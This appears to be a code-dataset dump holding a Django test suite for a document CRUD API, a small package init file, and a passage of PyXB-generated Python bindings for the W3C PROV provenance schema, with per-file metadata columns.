0.832411
0.321865
0
0.825864
0
0
0.172516
0.05861
0
0
0
0
0
1
0.039693
false
0
0.008963
0
0.107554
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
2c917c781d605698b5769b73d63d3c94734e40c2
8,218
py
Python
backend/storage/tests.py
NeilsC/prestige
668e771c73476a54ecc5186ead447f0cd49b21b7
[ "Apache-2.0" ]
314
2021-02-14T04:58:47.000Z
2022-03-20T22:12:32.000Z
backend/storage/tests.py
NeilsC/prestige
668e771c73476a54ecc5186ead447f0cd49b21b7
[ "Apache-2.0" ]
17
2021-04-25T06:05:49.000Z
2022-02-05T02:04:10.000Z
backend/storage/tests.py
admariner/prestige
25ba4a9bd197671db7506bcf996be08a9bac29bd
[ "Apache-2.0" ]
9
2021-06-07T12:42:40.000Z
2022-02-04T15:32:40.000Z
import json from http import HTTPStatus from django.test import TestCase from django.urls import reverse from . import models APPLICATION_JSON = "application/json" class ListingTests(TestCase): fixtures = ["users.json", "documents.json"] def test_ls(self): self.client.login(email="u1@host.com", password="u1-password") response = self.client.get(reverse("crud")) self.assertEqual(response.status_code, HTTPStatus.OK) self.assertEqual(response.json(), { "entries": [ { "name": "First's One", "slug": "one", }, { "name": "First's Two", "slug": "two", }, ], }) def test_ls_without_login(self): response = self.client.get(reverse("crud")) self.assertEqual(response.status_code, HTTPStatus.UNAUTHORIZED) self.assertEqual(response.json()["code"], "require-login") class DocumentGettingTests(TestCase): fixtures = ["users.json", "documents.json"] def test_get(self): self.client.login(email="u1@host.com", password="u1-password") response = self.client.get(reverse("crud_single", kwargs={"slug": "one"})) self.assertEqual(response.status_code, HTTPStatus.OK) self.assertEqual(response.json(), { "body": "First one's body", }) def test_get_without_login(self): response = self.client.get(reverse("crud_single", kwargs={"slug": "one"})) self.assertEqual(response.status_code, HTTPStatus.UNAUTHORIZED) self.assertEqual(response.json()["code"], "require-login") def test_get_different_user(self): self.client.login(email="u1@host.com", password="u1-password") response = self.client.get(reverse("crud_single", kwargs={"slug": "2-one"})) self.assertEqual(response.status_code, HTTPStatus.NOT_FOUND) def test_get_missing_doc(self): self.client.login(email="u1@host.com", password="u1-password") response = self.client.get(reverse("crud_single", kwargs={"slug": "missing-document"})) self.assertEqual(response.status_code, HTTPStatus.NOT_FOUND) class PatchTests(TestCase): fixtures = ["users.json", "documents.json"] def run_patch(self, slug, **kwargs): return self.client.patch( reverse("crud_single", kwargs={"slug": slug}), content_type=APPLICATION_JSON, data=json.dumps(kwargs), ) def test_patch_body(self): self.client.login(email="u1@host.com", password="u1-password") response = self.run_patch("one", body="changed body") self.assertEqual(response.status_code, HTTPStatus.OK) self.assertEqual(models.Document.objects.get(slug="one").body, "changed body") def test_patch_body_without_login(self): response = self.run_patch("one", body="changed body") self.assertEqual(response.status_code, HTTPStatus.UNAUTHORIZED) self.assertEqual(models.Document.objects.get(slug="one").body, "First one's body") def test_patch_body_different_user(self): self.client.login(email="u1@host.com", password="u1-password") response = self.run_patch("2-one", body="changed body") self.assertEqual(response.status_code, HTTPStatus.NOT_FOUND) self.assertEqual(models.Document.objects.get(slug="2-one").body, "Second one's body") def test_patch_body_missing_doc(self): self.client.login(email="u1@host.com", password="u1-password") response = self.run_patch("missing-doc-slug", body="changed body") self.assertEqual(response.status_code, HTTPStatus.NOT_FOUND) self.assertEqual(models.Document.objects.get(slug="2-one").body, "Second one's body") def test_patch_name(self): self.client.login(email="u1@host.com", password="u1-password") response = self.run_patch("one", name="changed name") self.assertEqual(response.status_code, HTTPStatus.OK) self.assertEqual(models.Document.objects.get(slug="one").name, "changed name") def test_patch_name_without_login(self): response = self.run_patch("one", name="changed name") self.assertEqual(response.status_code, HTTPStatus.UNAUTHORIZED) self.assertEqual(models.Document.objects.get(slug="one").name, "First's One") def test_patch_name_different_user(self): self.client.login(email="u1@host.com", password="u1-password") response = self.run_patch("2-one", name="changed name") self.assertEqual(response.status_code, HTTPStatus.NOT_FOUND) self.assertEqual(models.Document.objects.get(slug="2-one").name, "Second's One") def test_patch_name_missing_doc(self): self.client.login(email="u1@host.com", password="u1-password") response = self.run_patch("missing-doc-slug", name="changed name") self.assertEqual(response.status_code, HTTPStatus.NOT_FOUND) self.assertEqual(models.Document.objects.get(slug="2-one").name, "Second's One") class PostTests(TestCase): fixtures = ["users.json", "documents.json"] def test_valid(self): self.client.login(email="u1@host.com", password="u1-password") response = self.client.post( reverse("crud"), content_type=APPLICATION_JSON, data=json.dumps({ "name": "First's new one", "body": "First new one's body" }) ) self.assertEqual(response.status_code, HTTPStatus.CREATED) self.assertTrue(response.json()["id"]) doc = models.Document.objects.get(id=response.json()["id"]) self.assertEqual(doc.name, "First's new one") self.assertEqual(doc.body, "First new one's body") def test_without_login(self): response = self.client.post( reverse("crud"), content_type=APPLICATION_JSON, data=json.dumps({ "name": "First's new one", "body": "First new one's body" }) ) self.assertEqual(response.status_code, HTTPStatus.UNAUTHORIZED) self.assertEqual(response.json()["code"], "require-login") def test_duplicate_name(self): self.client.login(email="u1@host.com", password="u1-password") response = self.client.post( reverse("crud"), content_type=APPLICATION_JSON, data=json.dumps({ "name": "First's One", "body": "First new one's body" }) ) self.assertEqual(response.status_code, HTTPStatus.CONFLICT) self.assertEqual(response.json(), { "error": { "messages": "There's already a document by that name. Please use a different name.", }, }) # TODO: Verify that no new document objects were created. def test_missing_name(self): self.client.login(email="u1@host.com", password="u1-password") response = self.client.post( reverse("crud"), content_type=APPLICATION_JSON, data=json.dumps({ "body": "First new one's body", }) ) self.assertEqual(response.status_code, HTTPStatus.BAD_REQUEST) self.assertEqual(response.json(), { "error": { "message": "Missing name in payload.", }, }) def test_invalid_name(self): self.client.login(email="u1@host.com", password="u1-password") response = self.client.post( reverse("crud"), content_type=APPLICATION_JSON, data=json.dumps({ "name": [ "Name can't be a list!" ], "body": "First new one's body", }) ) self.assertEqual(response.status_code, HTTPStatus.BAD_REQUEST) self.assertEqual(response.json(), { "error": { "message": "Invalid value for name.", }, }) def test_missing_body(self): self.client.login(email="u1@host.com", password="u1-password") response = self.client.post( reverse("crud"), content_type=APPLICATION_JSON, data=json.dumps({ "name": "New with no body", }) ) self.assertEqual(response.status_code, HTTPStatus.CREATED) doc = models.Document.objects.get(id=response.json()["id"]) self.assertEqual(doc.name, "New with no body") self.assertEqual(doc.body, "") def test_invalid_body(self): self.client.login(email="u1@host.com", password="u1-password") response = self.client.post( reverse("crud"), content_type=APPLICATION_JSON, data=json.dumps({ "name": "New name", "body": [ "The body shouldn't be a list!" ], }) ) self.assertEqual(response.status_code, HTTPStatus.BAD_REQUEST) self.assertEqual(response.json(), { "error": { "message": "Invalid value for body.", }, }) # def test_extra_unknown_fields(self): class DeleteTests(TestCase): fixtures = ["users.json", "documents.json"] def test_valid(self): self.client.login(email="u1@host.com", password="u1-password") response = self.client.delete( reverse("crud_single", kwargs={"slug": "one"}), ) self.assertEqual(response.status_code, HTTPStatus.NO_CONTENT)
31.247148
89
0.708202
1,099
8,218
5.183803
0.099181
0.113217
0.125154
0.111989
0.868703
0.847639
0.835001
0.804458
0.754432
0.746007
0
0.005721
0.128012
8,218
262
90
31.366412
0.789283
0.011195
0
0.592417
0
0
0.195371
0
0
0
0
0.003817
0.208531
1
0.109005
false
0.080569
0.023697
0.004739
0.184834
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
7
2cacf4092d2743e2153b137f079cc91f144d4cd6
42
py
Python
start/__init__.py
sobulik/hooshek
b60a160d809034a1fa25764ab32c0f90fcd57696
[ "MIT" ]
null
null
null
start/__init__.py
sobulik/hooshek
b60a160d809034a1fa25764ab32c0f90fcd57696
[ "MIT" ]
null
null
null
start/__init__.py
sobulik/hooshek
b60a160d809034a1fa25764ab32c0f90fcd57696
[ "MIT" ]
2
2020-08-19T19:12:20.000Z
2021-06-05T03:54:15.000Z
from .io import load from .io import dump
14
20
0.761905
8
42
4
0.625
0.375
0.75
0
0
0
0
0
0
0
0
0
0.190476
42
2
21
21
0.941176
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
e2fbdfa1868f584eee8abfe169aaaa83d9b62f3f
649,405
py
Python
komadu_client/models/_prov.py
Data-to-Insight-Center/CKN
8cb8f54119061386f016535612f290a0dee86b02
[ "Apache-2.0" ]
null
null
null
komadu_client/models/_prov.py
Data-to-Insight-Center/CKN
8cb8f54119061386f016535612f290a0dee86b02
[ "Apache-2.0" ]
null
null
null
komadu_client/models/_prov.py
Data-to-Insight-Center/CKN
8cb8f54119061386f016535612f290a0dee86b02
[ "Apache-2.0" ]
null
null
null
# ./_prov.py # -*- coding: utf-8 -*- # PyXB bindings for NM:a984fd2d10c65e17330845367b247716d62a1684 # Generated 2019-06-19 16:51:10.392169 by PyXB version 1.2.6 using Python 3.7.0.final.0 # Namespace http://www.w3.org/ns/prov# [xmlns:prov] from __future__ import unicode_literals import pyxb import pyxb.binding import pyxb.binding.saxer import io import pyxb.utils.utility import pyxb.utils.domutils import sys import pyxb.utils.six as _six # Unique identifier for bindings created at the same time _GenerationUID = pyxb.utils.utility.UniqueIdentifier('urn:uuid:f7964440-92d3-11e9-8720-f0189815b4ad') # Version of PyXB used to generate the bindings _PyXBVersion = '1.2.6' # Generated bindings are not compatible across PyXB versions if pyxb.__version__ != _PyXBVersion: raise pyxb.PyXBVersionError(_PyXBVersion) # A holder for module-level binding classes so we can access them from # inside class definitions where property names may conflict. _module_typeBindings = pyxb.utils.utility.Object() # Import bindings for namespaces imported into schema import pyxb.binding.datatypes import pyxb.binding.xml_ # NOTE: All namespace declarations are reserved within the binding Namespace = pyxb.namespace.NamespaceForURI('http://www.w3.org/ns/prov#', create_if_missing=True) Namespace.configureCategories(['typeBinding', 'elementBinding']) def CreateFromDocument (xml_text, default_namespace=None, location_base=None): """Parse the given XML and use the document element to create a Python instance. @param xml_text An XML document. This should be data (Python 2 str or Python 3 bytes), or a text (Python 2 unicode or Python 3 str) in the L{pyxb._InputEncoding} encoding. @keyword default_namespace The L{pyxb.Namespace} instance to use as the default namespace where there is no default namespace in scope. If unspecified or C{None}, the namespace of the module containing this function will be used. @keyword location_base: An object to be recorded as the base of all L{pyxb.utils.utility.Location} instances associated with events and objects handled by the parser. You might pass the URI from which the document was obtained. """ if pyxb.XMLStyle_saxer != pyxb._XMLStyle: dom = pyxb.utils.domutils.StringToDOM(xml_text) return CreateFromDOM(dom.documentElement, default_namespace=default_namespace) if default_namespace is None: default_namespace = Namespace.fallbackNamespace() saxer = pyxb.binding.saxer.make_parser(fallback_namespace=default_namespace, location_base=location_base) handler = saxer.getContentHandler() xmld = xml_text if isinstance(xmld, _six.text_type): xmld = xmld.encode(pyxb._InputEncoding) saxer.parse(io.BytesIO(xmld)) instance = handler.rootObject() return instance def CreateFromDOM (node, default_namespace=None): """Create a Python instance from the given DOM node. The node tag must correspond to an element declaration in this module. @deprecated: Forcing use of DOM interface is unnecessary; use L{CreateFromDocument}.""" if default_namespace is None: default_namespace = Namespace.fallbackNamespace() return pyxb.binding.basis.element.AnyCreateFromDOM(node, default_namespace) # Complex type {http://www.w3.org/ns/prov#}Entity with content type ELEMENT_ONLY class Entity (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}Entity with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Entity') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 28, 2) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.w3.org/ns/prov#}label uses Python identifier label __label = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'label'), 'label', '__httpwww_w3_orgnsprov_Entity_httpwww_w3_orgnsprovlabel', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2), ) label = property(__label.value, __label.set, None, None) # Element {http://www.w3.org/ns/prov#}type uses Python identifier type __type = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'type'), 'type', '__httpwww_w3_orgnsprov_Entity_httpwww_w3_orgnsprovtype', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2), ) type = property(__type.value, __type.set, None, None) # Element {http://www.w3.org/ns/prov#}location uses Python identifier location __location = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'location'), 'location', '__httpwww_w3_orgnsprov_Entity_httpwww_w3_orgnsprovlocation', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 424, 2), ) location = property(__location.value, __location.set, None, None) # Element {http://www.w3.org/ns/prov#}value uses Python identifier value_ __value = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'value'), 'value_', '__httpwww_w3_orgnsprov_Entity_httpwww_w3_orgnsprovvalue', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 425, 2), ) value_ = property(__value.value, __value.set, None, None) # Attribute {http://www.w3.org/ns/prov#}id uses Python identifier id __id = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(Namespace, 'id'), 'id', '__httpwww_w3_orgnsprov_Entity_httpwww_w3_orgnsprovid', pyxb.binding.datatypes.QName) __id._DeclarationLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 460, 2) __id._UseLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 37, 4) id = property(__id.value, __id.set, None, None) _HasWildcardElement = True _ElementMap.update({ __label.name() : __label, __type.name() : __type, __location.name() : __location, __value.name() : __value }) _AttributeMap.update({ __id.name() : __id }) _module_typeBindings.Entity = Entity Namespace.addCategoryObject('typeBinding', 'Entity', Entity) # Complex type {http://www.w3.org/ns/prov#}Activity with content type ELEMENT_ONLY class Activity (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}Activity with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Activity') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 40, 2) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.w3.org/ns/prov#}startTime uses Python identifier startTime __startTime = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'startTime'), 'startTime', '__httpwww_w3_orgnsprov_Activity_httpwww_w3_orgnsprovstartTime', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 42, 6), ) startTime = property(__startTime.value, __startTime.set, None, None) # Element {http://www.w3.org/ns/prov#}endTime uses Python identifier endTime __endTime = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'endTime'), 'endTime', '__httpwww_w3_orgnsprov_Activity_httpwww_w3_orgnsprovendTime', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 43, 6), ) endTime = property(__endTime.value, __endTime.set, None, None) # Element {http://www.w3.org/ns/prov#}label uses Python identifier label __label = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'label'), 'label', '__httpwww_w3_orgnsprov_Activity_httpwww_w3_orgnsprovlabel', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2), ) label = property(__label.value, __label.set, None, None) # Element {http://www.w3.org/ns/prov#}type uses Python identifier type __type = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'type'), 'type', '__httpwww_w3_orgnsprov_Activity_httpwww_w3_orgnsprovtype', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2), ) type = property(__type.value, __type.set, None, None) # Element {http://www.w3.org/ns/prov#}location uses Python identifier location __location = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'location'), 'location', '__httpwww_w3_orgnsprov_Activity_httpwww_w3_orgnsprovlocation', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 424, 2), ) location = property(__location.value, __location.set, None, None) # Attribute {http://www.w3.org/ns/prov#}id uses Python identifier id __id = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(Namespace, 'id'), 'id', '__httpwww_w3_orgnsprov_Activity_httpwww_w3_orgnsprovid', pyxb.binding.datatypes.QName) __id._DeclarationLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 460, 2) __id._UseLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 49, 4) id = property(__id.value, __id.set, None, None) _HasWildcardElement = True _ElementMap.update({ __startTime.name() : __startTime, __endTime.name() : __endTime, __label.name() : __label, __type.name() : __type, __location.name() : __location }) _AttributeMap.update({ __id.name() : __id }) _module_typeBindings.Activity = Activity Namespace.addCategoryObject('typeBinding', 'Activity', Activity) # Complex type {http://www.w3.org/ns/prov#}Generation with content type ELEMENT_ONLY class Generation (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}Generation with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Generation') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 53, 2) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.w3.org/ns/prov#}entity uses Python identifier entity __entity = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'entity'), 'entity', '__httpwww_w3_orgnsprov_Generation_httpwww_w3_orgnsproventity', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 55, 6), ) entity = property(__entity.value, __entity.set, None, None) # Element {http://www.w3.org/ns/prov#}activity uses Python identifier activity __activity = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'activity'), 'activity', '__httpwww_w3_orgnsprov_Generation_httpwww_w3_orgnsprovactivity', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 56, 6), ) activity = property(__activity.value, __activity.set, None, None) # Element {http://www.w3.org/ns/prov#}time uses Python identifier time __time = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'time'), 'time', '__httpwww_w3_orgnsprov_Generation_httpwww_w3_orgnsprovtime', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 57, 6), ) time = property(__time.value, __time.set, None, None) # Element {http://www.w3.org/ns/prov#}label uses Python identifier label __label = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'label'), 'label', '__httpwww_w3_orgnsprov_Generation_httpwww_w3_orgnsprovlabel', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2), ) label = property(__label.value, __label.set, None, None) # Element {http://www.w3.org/ns/prov#}role uses Python identifier role __role = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'role'), 'role', '__httpwww_w3_orgnsprov_Generation_httpwww_w3_orgnsprovrole', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 422, 2), ) role = property(__role.value, __role.set, None, None) # Element {http://www.w3.org/ns/prov#}type uses Python identifier type __type = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'type'), 'type', '__httpwww_w3_orgnsprov_Generation_httpwww_w3_orgnsprovtype', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2), ) type = property(__type.value, __type.set, None, None) # Element {http://www.w3.org/ns/prov#}location uses Python identifier location __location = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'location'), 'location', '__httpwww_w3_orgnsprov_Generation_httpwww_w3_orgnsprovlocation', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 424, 2), ) location = property(__location.value, __location.set, None, None) # Attribute {http://www.w3.org/ns/prov#}id uses Python identifier id __id = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(Namespace, 'id'), 'id', '__httpwww_w3_orgnsprov_Generation_httpwww_w3_orgnsprovid', pyxb.binding.datatypes.QName) __id._DeclarationLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 460, 2) __id._UseLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 65, 4) id = property(__id.value, __id.set, None, None) _HasWildcardElement = True _ElementMap.update({ __entity.name() : __entity, __activity.name() : __activity, __time.name() : __time, __label.name() : __label, __role.name() : __role, __type.name() : __type, __location.name() : __location }) _AttributeMap.update({ __id.name() : __id }) _module_typeBindings.Generation = Generation Namespace.addCategoryObject('typeBinding', 'Generation', Generation) # Complex type {http://www.w3.org/ns/prov#}Usage with content type ELEMENT_ONLY class Usage (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}Usage with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Usage') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 68, 2) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.w3.org/ns/prov#}activity uses Python identifier activity __activity = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'activity'), 'activity', '__httpwww_w3_orgnsprov_Usage_httpwww_w3_orgnsprovactivity', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 70, 6), ) activity = property(__activity.value, __activity.set, None, None) # Element {http://www.w3.org/ns/prov#}entity uses Python identifier entity __entity = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'entity'), 'entity', '__httpwww_w3_orgnsprov_Usage_httpwww_w3_orgnsproventity', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 71, 6), ) entity = property(__entity.value, __entity.set, None, None) # Element {http://www.w3.org/ns/prov#}time uses Python identifier time __time = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'time'), 'time', '__httpwww_w3_orgnsprov_Usage_httpwww_w3_orgnsprovtime', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 72, 6), ) time = property(__time.value, __time.set, None, None) # Element {http://www.w3.org/ns/prov#}label uses Python identifier label __label = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'label'), 'label', '__httpwww_w3_orgnsprov_Usage_httpwww_w3_orgnsprovlabel', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2), ) label = property(__label.value, __label.set, None, None) # Element {http://www.w3.org/ns/prov#}role uses Python identifier role __role = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'role'), 'role', '__httpwww_w3_orgnsprov_Usage_httpwww_w3_orgnsprovrole', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 422, 2), ) role = property(__role.value, __role.set, None, None) # Element {http://www.w3.org/ns/prov#}type uses Python identifier type __type = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'type'), 'type', '__httpwww_w3_orgnsprov_Usage_httpwww_w3_orgnsprovtype', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2), ) type = property(__type.value, __type.set, None, None) # Element {http://www.w3.org/ns/prov#}location uses Python identifier location __location = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'location'), 'location', '__httpwww_w3_orgnsprov_Usage_httpwww_w3_orgnsprovlocation', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 424, 2), ) location = property(__location.value, __location.set, None, None) # Attribute {http://www.w3.org/ns/prov#}id uses Python identifier id __id = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(Namespace, 'id'), 'id', '__httpwww_w3_orgnsprov_Usage_httpwww_w3_orgnsprovid', pyxb.binding.datatypes.QName) __id._DeclarationLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 460, 2) __id._UseLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 79, 4) id = property(__id.value, __id.set, None, None) _HasWildcardElement = True _ElementMap.update({ __activity.name() : __activity, __entity.name() : __entity, __time.name() : __time, __label.name() : __label, __role.name() : __role, __type.name() : __type, __location.name() : __location }) _AttributeMap.update({ __id.name() : __id }) _module_typeBindings.Usage = Usage Namespace.addCategoryObject('typeBinding', 'Usage', Usage) # Complex type {http://www.w3.org/ns/prov#}Start with content type ELEMENT_ONLY class Start (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}Start with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Start') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 83, 2) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.w3.org/ns/prov#}activity uses Python identifier activity __activity = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'activity'), 'activity', '__httpwww_w3_orgnsprov_Start_httpwww_w3_orgnsprovactivity', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 85, 6), ) activity = property(__activity.value, __activity.set, None, None) # Element {http://www.w3.org/ns/prov#}trigger uses Python identifier trigger __trigger = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'trigger'), 'trigger', '__httpwww_w3_orgnsprov_Start_httpwww_w3_orgnsprovtrigger', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 86, 6), ) trigger = property(__trigger.value, __trigger.set, None, None) # Element {http://www.w3.org/ns/prov#}starter uses Python identifier starter __starter = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'starter'), 'starter', '__httpwww_w3_orgnsprov_Start_httpwww_w3_orgnsprovstarter', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 87, 6), ) starter = property(__starter.value, __starter.set, None, None) # Element {http://www.w3.org/ns/prov#}time uses Python identifier time __time = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'time'), 'time', '__httpwww_w3_orgnsprov_Start_httpwww_w3_orgnsprovtime', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 88, 6), ) time = property(__time.value, __time.set, None, None) # Element {http://www.w3.org/ns/prov#}label uses Python identifier label __label = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'label'), 'label', '__httpwww_w3_orgnsprov_Start_httpwww_w3_orgnsprovlabel', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2), ) label = property(__label.value, __label.set, None, None) # Element {http://www.w3.org/ns/prov#}role uses Python identifier role __role = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'role'), 'role', '__httpwww_w3_orgnsprov_Start_httpwww_w3_orgnsprovrole', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 422, 2), ) role = property(__role.value, __role.set, None, None) # Element {http://www.w3.org/ns/prov#}type uses Python identifier type __type = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'type'), 'type', '__httpwww_w3_orgnsprov_Start_httpwww_w3_orgnsprovtype', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2), ) type = property(__type.value, __type.set, None, None) # Element 